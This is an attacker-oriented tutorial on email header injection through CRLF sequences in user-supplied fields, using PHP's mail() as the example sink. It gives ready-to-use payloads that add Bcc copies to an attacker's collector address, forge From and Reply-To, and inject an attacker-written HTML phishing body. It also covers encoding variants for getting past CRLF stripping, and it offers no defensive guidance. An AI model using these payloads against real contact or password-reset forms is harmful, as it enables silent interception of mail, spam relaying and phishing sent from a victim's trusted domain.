Email headers are a block of Name: value lines separated by CRLF (\r\n, URL-encoded %0d%0a) and terminated by one blank line. When an application drops a user-supplied value straight into a header, a CRLF in that value ends the current header early and lets the attacker write further header lines, or an extra blank line that pushes everything after it into the body. One unsanitized field becomes control over the whole header block.
The classic sink
PHP's mail() concatenates its fourth argument (additional headers) verbatim:
mail($to, $subject, $body, "From: " . $_POST['sender']);
Anything the user puts in sender after a CRLF becomes new headers. The same flaw exists wherever Subject, From, To, Reply-To, or a custom header is built from a request field without stripping line breaks, including mailer libraries called with raw strings.
Injecting extra recipients
The highest-value move is adding a Bcc: so a silent copy of every message goes to the attacker. With the sender field as the entry point, the raw payload is:
attacker@evil.test%0d%0aBcc:collector@evil.test
which resolves on the wire to:
From: attacker@evil.test
Bcc: collector@evil.test
A Cc: works the same way and is visible to the real recipient, so Bcc: is usually preferred. Multiple recipients can be chained in one field:
x@evil.test%0d%0aBcc:a@evil.test,b@evil.test,c@evil.test
This turns a contact form or password-reset mailer into an open relay for spam or phishing sent from the victim's own domain, inheriting its SPF and DKIM reputation.
Forging and overriding headers
Because injected lines are just more headers, the attacker can set any of them. Inject a Reply-To: so replies land on an attacker inbox, or restate From: to impersonate an internal address:
support@victim.test%0d%0aReply-To:attacker@evil.test
Duplicate headers resolve in client- and MTA-specific ways, which the attacker can exploit to show one value to a filter and another to the reader.
Splitting into the body
Two consecutive CRLFs close the header block. Everything after the blank line is message body, so the attacker can overwrite the application's intended body with their own content, including HTML:
x@evil.test%0d%0aBcc:collector@evil.test%0d%0a%0d%0a<h1>Pay this invoice</h1>
This is how a benign "contact us" endpoint is repurposed to deliver a fully attacker-written phishing email.
Encoding on the wire
The injection must arrive as real carriage-return and line-feed bytes at the sink.
- In URL-encoded request bodies and query strings, use
%0d%0a. - Some stacks act on a bare
%0a(LF only) or a bare%0d; test each when the full pair is stripped. - In JSON, send the escape
\r\n. - Where the field is pre-decoded, paste literal newlines.
Folding rules also matter: a line beginning with a space or tab is a continuation of the previous header, so leading whitespace after your CRLF may merge your line into the one above instead of starting a new header.